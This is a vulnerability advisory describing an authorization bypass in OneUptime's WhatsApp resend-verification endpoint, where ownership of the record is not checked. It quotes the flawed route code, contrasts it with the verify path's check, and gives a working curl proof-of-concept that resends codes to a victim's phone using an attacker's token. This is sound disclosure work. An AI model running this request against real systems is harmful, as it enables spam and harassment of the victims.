

Onetimeup Zero Day Research

- [WhatsApp Resend Verification Authorization Bypass](#)

WhatsApp Resend Verification Authorization Bypass

GHSA : <https://github.com/OneUptime/oneuptime/security/advisories/GHSA-cw6x-mw64-q6pv>

CVE : CVE-2026-30959

Description

The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any `UserWhatsApp` record by ID. Ownership is not validated (unlike the verify endpoint).

Affected Source

- Endpoint: [UserWhatsAppAPI.ts](#)
- Service: [UserWhatsAppService.ts](#)
- Verify ownership (present in verify endpoint for comparison): [UserWhatsAppAPI.ts](#)

Full Code Lines (UserWhatsAppAPI.ts)

Resend path (authorization gap):

```
this.router.post(
  `${new this.entityType()
    .getCrudApiPath()
    ?.toString()}/resend-verification-code`,
  UserMiddleware.getUserMiddleware,
  async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
    try {
      req = req as OneUptimeRequest;

      if (!req.body.itemId) {
        return Response.sendErrorResponse(
          req,
          res,
          new BadRequestException("Invalid item ID"),
        );
      }
    }
  }
);
```

```

    }

    await this.service.resendVerificationCode(req.body.itemId);

    return Response.sendEmptySuccessResponse(req, res);
  } catch (err) {
    return next(err);
  }
},
);

```

Verify path (ownership check present):

```

if (
  item.userId?.toString() !==
  (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
) {
  return Response.sendErrorResponse(
    req,
    res,
    new BadRequestException("Invalid user ID"),
  );
}

```

Prerequisites

- Valid attacker account with access to a project
- Attacker access token
- A victim's `UserWhatsApp` itemId belonging to the same project

Steps to Reproduce

1. Set your attacker token:

```
export ATK="Bearer <attacker-access-token>"
```

2. Trigger resend for the victim's item:

```
curl -s -X POST \  
  -H "Content-Type: application/json" \  
  -H "Authorization: $ATK" \  
  -d '{"itemId":"<victim-userwhatsapp-id>"}' \  
  http://<host>/api/user-whats-app/resend-verification-code
```

Expected/Observed Behavior

- HTTP 200 with `{}` body and a new verification code sent to the victim's phone
- No checks confirm that `item.userId` equals the authenticated user's ID for the resend path

Impact

- Spam/DoS against victims' phone numbers, social engineering pressure, and potential lockout flows due to repeated resends

Recommended Fix

- Enforce ownership: `item.userId` must match the authenticated user
- Add per-item and per-user rate limiting for resends